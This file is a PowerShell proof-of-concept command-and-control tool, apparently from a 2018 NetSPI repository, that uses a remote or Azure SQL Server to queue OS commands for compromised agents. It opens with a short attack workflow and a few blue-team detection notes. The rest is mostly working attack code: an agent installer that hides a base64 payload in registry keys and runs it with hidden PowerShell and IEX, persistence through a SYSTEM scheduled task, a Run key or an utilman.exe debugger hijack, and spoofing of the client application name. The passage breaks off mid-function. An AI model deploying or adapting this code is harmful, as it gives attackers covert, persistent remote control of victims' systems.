scripts/pending/SQLC2.ps1
<#
Script: SQLC2.ps1 Description: This is a basic PoC script that contains functions that can be used to install and manage a C2 via a SQL Server instance. The C2 SQL Server is intended to be hosted remotely or in Azure via a database.windows.net address. The client functions can be run by a schedule task or other means for periodic check in and command grabbing from the C2 SQL Server. Author: Scott Sutherland (@_nullbind), NetSPI 2018 License: BSD 3-Clause Mini Guide: ---------------------------- Azure Configuration Overview ---------------------------- 1. Create an Azure account and log in. 3. Create a SQL server databse. In this example the server will be named sqlcloudc2 and the datatabase will be named database1. 4. Add a virtual firewall exception for the target networks that you will be receiving connections from. ---------------------------- Attack Workflow Overview ---------------------------- 1. Install SQLC2. Install C2 tables in remote SQL Server instance. You will need to provide an database that you have the ability to create tables in, or create a new at database. However, in Azure I've been getting some timeouts which is why you should have already created the target database through Azure. Example command: Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose 2. Setup OS command. Set a OS command to run on all agent systems. You can also configure commands to run on a specific agent using the -ServerName paremeter. Example command: Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Command "Whoami" 3. List queued commands. The command below will query the SQLC2 server for a list of commands queued for the agent to execute. This will only output the commands, it will not execute them. Example command: Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose 4. The agent will automatically be registered. To list the registered agent use the command below. Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose 5. Execute queued commands via PS. This can be scheduled via a WMI subscription or schedule task. The command below will query the SQLC2 server for a list of commands queued for the agent to execute. Including the -Execute flag will automatically run them. This command could be used in combination with your prefered persistence method such as a scheduled task. Example command: Get-SQLC2Command -Verbose -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Execute 5a. Execute queued commands via SQL Server link and agent job. This allows you to use an internal SQL Server as your agent. This requires sysadmin privileges on the internal SQL Server. Install-SQLC2AgentLink -Instance 'InternalSQLServer1\SQLSERVER2014' -C2Username 'CloudAdmin' -C2Password 'CloudPassword!' -C2Instance sqlcloudc2.database.windows.net -C2Database database1 -Verbose Note: You can use the command below to remove the server link agent. Uninstall-SQLC2AgentLink -Verbose -Instance 'InternalSQLServer1\SQLSERVER2014' 5b. Execute queued commands via a schedule task or other persistence method. This allows you to the local OS as an agent. This requires local administrative privileges. Install-SQLC2AgentPs -Verbose -Instance 'InternalSQLServer1\SQLSERVER2014' -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 Note: You can use the command below to remove the installed agent. Uninstall-SQLC2AgentPs -Verbose 6. View command results. The command below can be used to retrieve the command results. By default it shows the entire command history. However, results can be filtered by -Status, -ServerName, and -Cid. Example command: Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Status 'success' ---------------------------- Blue Team Datasource Notes ---------------------------- 1. PowerShell logging. 2. EDR showing PowerShell connecting to the internet. Specifically, *.database.windows.net (Azure) 3. EDR showing specific commands being executed such as "Get-SQLC2Comand". #> # ---------------------------------- # Get-SQLC2ConnectionObject # ---------------------------------- # Author: Scott Sutherland Function Get-SQLC2ConnectionObject { <# .SYNOPSIS Creates a object for connecting to SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Database Default database to connect to. .PARAMETER AppName Spoof the name of the application you are connecting to SQL Server with. .PARAMETER Encrypt Use an encrypted connection. .PARAMETER TrustServerCert Trust the certificate of the remote server. .EXAMPLE PS C:\> Get-SQLC2ConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" StatisticsEnabled : False AccessToken : ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application Name="myapp";Encrypt=Yes;TrustServerCertificate=Yes ConnectionTimeout : 1 Database : Master DataSource : server1 PacketSize : 8000 ClientConnectionId : 00000000-0000-0000-0000-000000000000 ServerVersion : State : Closed WorkstationId : Workstation1 Credential : FireInfoMessageEventOnUserErrors : False Site : Container : #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Dedicated Administrator Connection (DAC).')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Spoof the name of the application your connecting to the server with.')] [string]$AppName = "", [Parameter(Mandatory = $false, HelpMessage = 'Use an encrypted connection.')] [ValidateSet("Yes","No","")] [string]$Encrypt = "", [Parameter(Mandatory = $false, HelpMessage = 'Trust the certificate of the remote server.')] [ValidateSet("Yes","No","")] [string]$TrustServerCert = "", [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut = 1 ) Begin { # Setup DAC string if($DAC) { $DacConn = 'ADMIN:' } else { $DacConn = '' } # Set database filter if(-not $Database) { $Database = 'Master' } # Check if appname was provided if($AppName){ $AppNameString = ";Application Name=`"$AppName`"" }else{ $AppNameString = "" } # Check if encrypt was provided if($Encrypt){ $EncryptString = ";Encrypt=Yes" }else{ $EncryptString = "" } # Check TrustServerCert was provided if($TrustServerCert){ $TrustCertString = ";TrustServerCertificate=Yes" }else{ $TrustCertString = "" } } Process { # Check for instance if ( -not $Instance) { $Instance = $env:COMPUTERNAME } # Create connection object $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection # Set authentcation type - current windows user if(-not $Username){ # Set authentication type $AuthenticationType = "Current Windows Credentials" # Set connection string $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString $EncryptString $TrustCertString" } # Set authentcation type - provided windows user if ($username -like "*\*"){ $AuthenticationType = "Provided Windows Credentials" # Setup connection string $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString" } # Set authentcation type - provided sql login if (($username) -and ($username -notlike "*\*")){ # Set authentication type $AuthenticationType = "Provided SQL Login" # Setup connection string $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString$EncryptString$TrustCertString" } # Return the connection object return $Connection } End { } } # ---------------------------------- # Get-SQLC2Query # ---------------------------------- # Author: Scott Sutherland Function Get-SQLC2Query { <# .SYNOPSIS Executes a query on target SQL servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER Database Default database to connect to. .PARAMETER TimeOut Connection time out. .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .PARAMETER Threads Number of concurrent threads. .PARAMETER Query Query to be executed on the SQL Server. .PARAMETER AppName Spoof the name of the application you are connecting to SQL Server with. .PARAMETER Encrypt Use an encrypted connection. .PARAMETER TrustServerCert Trust the certificate of the remote server. .EXAMPLE PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 .EXAMPLE PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLC2Query -Verbose -Query "Select @@version" -Threads 15 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server query.')] [string]$Query, [Parameter(Mandatory = $false, HelpMessage = 'Connect using Dedicated Admin Connection.')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [int]$TimeOut, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose, [Parameter(Mandatory = $false, HelpMessage = 'Spoof the name of the application your connecting to the server with.')] [string]$AppName = "Microsoft SQL Server Management Studio - Query", [Parameter(Mandatory = $false, HelpMessage = 'Use an encrypted connection.')] [ValidateSet("Yes","No","")] [string]$Encrypt = "Yes", [Parameter(Mandatory = $false, HelpMessage = 'Trust the certificate of the remote server.')] [ValidateSet("Yes","No","")] [string]$TrustServerCert = "Yes", [Parameter(Mandatory = $false, HelpMessage = 'Return error message if exists.')] [switch]$ReturnError ) Begin { # Setup up data tables for output $TblQueryResults = New-Object -TypeName System.Data.DataTable } Process { # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } else { # Create connection object $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } # Parse SQL Server instance name $ConnectionString = $Connection.Connectionstring $Instance = $ConnectionString.split(';')[0].split('=')[1] # Check for query if($Query) { # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Setup SQL query $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) # Grab results $Results = $Command.ExecuteReader() # Load results into data table $TblQueryResults.Load($Results) # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed - for detail error use Get-SQLC2ConnectionTest if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } if($ReturnError) { $ErrorMessage = $_.Exception.Message #Write-Verbose " Error: $ErrorMessage" } } } else { Write-Output -InputObject 'No query provided to Get-SQLC2Query function.' Break } } End { # Return Results if($ReturnError) { $ErrorMessage } else { $TblQueryResults } } } # ---------------------------------- # Get-SQLC2ConnectionTest # ---------------------------------- Function Get-SQLC2ConnectionTest { <# .SYNOPSIS Tests if the current Windows account or provided SQL Server login can log into an SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER Database Default database to connect to. .PARAMETER TimeOut Connection time out. .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .EXAMPLE PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" .EXAMPLE PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLC2ConnectionTest -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Connect using Dedicated Admin Connection.')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for output $TblResults = New-Object -TypeName System.Data.DataTable $null = $TblResults.Columns.Add('ComputerName') $null = $TblResults.Columns.Add('Instance') $null = $TblResults.Columns.Add('Status') } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database } else { # Create connection object $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database } # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed if(-not $SuppressVerbose) { $ErrorMessage = $_.Exception.Message Write-Verbose -Message "$Instance : Connection Failed." Write-Verbose -Message " Error: $ErrorMessage" } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') } } End { # Return Results $TblResults } } # ------------------------------------------- # Function: Get-SQLC2ComputerNameFromInstance # ------------------------------------------ # Author: Scott Sutherland Function Get-SQLC2ComputerNameFromInstance { <# .SYNOPSIS Parses computer name from a provided instance. .PARAMETER Instance SQL Server instance to parse. .EXAMPLE PS C:\> Get-SQLC2ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 SQLServer1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance.')] [string]$Instance ) # Parse ComputerName from provided instance If ($Instance) { $ComputerName = $Instance.split('\')[0].split(',')[0] } else { $ComputerName = $env:COMPUTERNAME } Return $ComputerName } # ---------------------------------- # Install-SQLC2Server # ---------------------------------- # Author: Scott Sutherland Function Install-SQLC2Server { <# .SYNOPSIS This functions creates the C2 SQL Server tables in the target database. If the database does not exist, the script will try to create it. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name that contains target table. .EXAMPLE PS C:\> Install-SQLC2Server -Instance "SQLServer1\STANDARDDEV2014" -Database database1 PS C:\> Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table.')] [string]$Database, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'ServerName of the agent.')] [string]$ServerName, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Command to run on the agent.')] [string]$Command, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } # Test connection if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } Write-Verbose "$instance : Note: Creating DBs on thefly in Azure times out sometimes." Write-Verbose "$instance : Attempting to verify and/or create the database $Database..." # Create Database Query $Query = " If not Exists (SELECT name FROM master.dbo.sysdatabases WHERE name = '$Database') CREATE DATABASE db1 ELSE SELECT name FROM master..sysdatabases WHERE name like '$Database'" # Create Database results $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300 $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count if($RowCount -eq 1) { Write-Verbose "$instance : Verified $Database database exists or was created." }else{ Write-Verbose "$instance : Access or creation of $Database database failed." return } Write-Verbose "$instance : Creating the C2 Table in the database $Database." # Create Database Query $Query = " If not Exists (SELECT name FROM sys.tables WHERE name = 'C2COMMANDS') CREATE TABLE [C2COMMANDS] ( [cid] int IDENTITY(1,1) PRIMARY KEY, [servername]varchar(MAX), [command]varchar(MAX), [result]varchar(MAX), [status]varchar(MAX), [lastupdate]DateTime default (Getdate()) ); If not Exists (SELECT name FROM sys.tables WHERE name = 'C2AGENTS') CREATE TABLE [C2AGENTS] ( [aid] int IDENTITY(1,1) PRIMARY KEY, [servername]varchar(MAX), [agentype]varchar(MAX), [lastcheckin]DateTime default (Getdate()), );SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'" # Create Database results $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count if($RowCount -eq 1) { Write-Verbose "$instance : Verified C2 tables existed or were created in the $Database." }else{ Write-Verbose "$instance : C2 tables creation failed in the $Database failed." } } End { # Return data # $TblResults } } # ---------------------------------- # Install-SQLC2AgentPs # ---------------------------------- # Author: Scott Sutherland Function Install-SQLC2AgentPs { <# .SYNOPSIS This functions installs a C2 Agent on the target SQL Server by creating a server link to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell. This requires sysadmin privileges on the target server. .PARAMETER Instance C2 SQL Server instance to connection to. .PARAMETER Username C2 SQL Server or domain account to authenticate with. .PARAMETER Password C2 SQL Server or domain account password to authenticate with. .PARAMETER DatabaseName Database name that contains target table on C2. .PARAMETER Type Type of persistence method to use. .EXAMPLE Connecting using current Windows credentials. PS C:\> Install-SQLC2AgentPs -Verbose -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1 .EXAMPLE Connecting using current Windows credentials. PS C:\> Install-SQLC2AgentPs -Verbose -Type Task -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'C2 SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $true, HelpMessage = 'C2 SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $true, HelpMessage = 'C2 SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table on C2 SQL Server.')] [string]$Database, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Type of persistence method to use.')] [ValidateSet("Task","RegRun","RegUtilman")] [string]$Type = "Task", [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { } Process { # check for admin privs - pending # ------------------------------------ # Gather SQLC2 functions # ------------------------------------ Write-Verbose " - Creating SQLC2AgentPS command." # Setup script variable $psscript = "" Get-ChildItem -Path Function:\ | Where-Object name -like "*SQLC2*" | Where-Object -FilterScript { $_.name -notlike '*:*' } | Select-Object -Property name -ExpandProperty name | ForEach-Object -Process { # Get the function code $Definition = Get-Content -Path "function:\$_" -ErrorAction Stop # $Definition $CurrentFunction = "Function $_ `n { $Definition }" # Add function $psscript = "$psscript `n $CurrentFunction" } # ------------------------------------ # Create SQLC2 command and store it # ------------------------------------ # my command $SQLC2Command = "Get-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Execute" # Add custom command $psscript = "$psscript `n`n $SQLC2Command" # Encode command $psscript64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($psscript)) | Out-Null # Write command to the registry and drop IoCs Write-Verbose " - Attempting to write SQLC2AgentPS payload to registry keys." if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\") { Write-Verbose " - Keys already exist." }else{ # Write keys try{ New-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ -Name SQLC2AgentPS –Force | Out-Null New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayName -Value "SQLC2AgentPS" –Force | Out-Null New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayIcon -Value "C:\Windows\System32\ComputerDefaults.exe" –Force | Out-Null New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Command -Value "$psscript64" –Force -PropertyType MultiString | Out-Null New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Publisher -Value "Bad Person" –Force | Out-Null New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallPath -Value "c:\windows\system32\calc.exe" –Force | Out-Null New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallString -Value "c:\windows\system32\calc.exe" –Force | Out-Null Write-Verbose " - Keys created." }catch{ Write-Verbose " - Unable to write SQLC2AgentPS payload to the registry." return } } # PowerShell Arguments $PersistCommand = " -NoProfile -WindowStyle Hidden -C `"IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS' -Name Command).Command)))`"" # ------------------------------------ # Create scheduled task # ------------------------------------ if($Type -eq "Task"){ Write-Verbose " - Attempting to create SQLC2AgentPS scheduled task." if((Get-ScheduledTask -TaskName "SQLC2AgentPS*" | Measure-Object | Select Count -ExpandProperty Count) -eq 0) { try{ $SystemSID = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::LocalSystemSid, $null); $SystemAccountName = $SystemSID.Translate([System.Security.Principal.NTAccount]).Value.ToString(); $Action = New-ScheduledTaskAction –Execute "powershell.exe" -Argument $PersistCommand -WorkingDirectory "C:\windows\system32\WindowsPowerShell\v1.0\" $Trigger = New-ScheduledTaskTrigger -AtLogon $Principal = New-ScheduledTaskPrincipal -UserID $SystemAccountName -LogonType ServiceAccount -RunLevel Highest $Settings = New-ScheduledTaskSettingsSet $Object = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings Register-ScheduledTask "SQLC2AgentPS" -InputObject $Object | Out-Null Write-Verbose " - Task created." }catch{ Write-Verbose " - Failed to create SQLC2AgentPS scheduled task." } }else{ Write-Verbose " - Task already exists." } } <# # ------------------------------------ # Create WMI Subscription - pending updates # ------------------------------------ # “SELECT * FROM __InstanceModificationEvent Where TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second=5” Write-Verbose " - Attempting to create SQLC2AgentPS WMI subscription." # Create filter (trigger) $Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ EventNamespace = "root\cimv2" Name = "SQLC2AgentPS_Filter" Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'" QueryLanguage = "WQL" } # Create consumer (the command to run) $Command = "PowerShell.exe $PersistCommand" $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = "SQLC2AgentPS_Consumer" CommandLineTemplate = $Command } # Create binding (connecting the trigger and command to run) Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Name = "SQLC2AgentPS_Binding" Filter = $Filter Consumer = $Consumer } #> # ------------------------------------ # Create registry run # ------------------------------------ if($Type -eq "RegRun"){ Write-Verbose " - Attempting to create SQLC2AgentPS registry run key." $Command = "PowerShell.exe $PersistCommand" # Check if property exists try{ Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction Stop | Out-Null Write-Verbose " - Key already exists." $RunCheck = 1 }catch{ $RunCheck = 0 } # Add property if ($RunCheck -eq 0){ try{ New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -Value "$Command" –Force | Out-Null Write-Verbose " - Key created." }catch{ Write-Verbose " - Failed to create registry run key." } } } # ------------------------------------ # Create registry utilman.exe debugger # ------------------------------------ if($Type -eq "RegUtilman"){ Write-Verbose " - Attempting to create SQLC2AgentPS registry key for utilman.exe debugger." $Command = "PowerShell.exe $PersistCommand" if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\") { Write-Verbose " - Key already exists." }else{ # Write the key try{ New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" -Name UtilMan.exe –Force | Out-Null New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UtilMan.exe" -Name Debugger -Value "$Command" –Force | Out-Null Write-Verbose " - Key created." }catch{ Write-Verbose " - Failed to create registry key for utilman.exe debugger." } } } } End { } } # ---------------------------------- # Install-SQLC2AgentLink # ---------------------------------- # Author: Scott Sutherland # Todo: Fix handling of multi-line command output. Function Install-SQLC2AgentLink { <# .SYNOPSIS This functions installs a C2 Agent on the target SQL Server by creating a server link to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell. This requires sysadmin privileges on the target server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER C2Username SQL Server or domain account to authenticate with. .PARAMETER C2Password SQL Server or domain account password to authenticate with. .PARAMETER C2Instance SQL Server C2 instance to connection to. .PARAMETER C2DatabaseName Database name that contains target table on C2. .EXAMPLE Connecting using current Windows credentials. PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1 .EXAMPLE Connecting using sa SQL server login. PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Pasword password! -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'C2 SQL Server instance to connection to.')] [string]$C2Instance, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server login or domain account to the authenticate to the C2 SQL Server with.')] [string]$C2Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server login domain account password to authenticate to the C2 SQL Server with.')] [string]$C2Password, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target 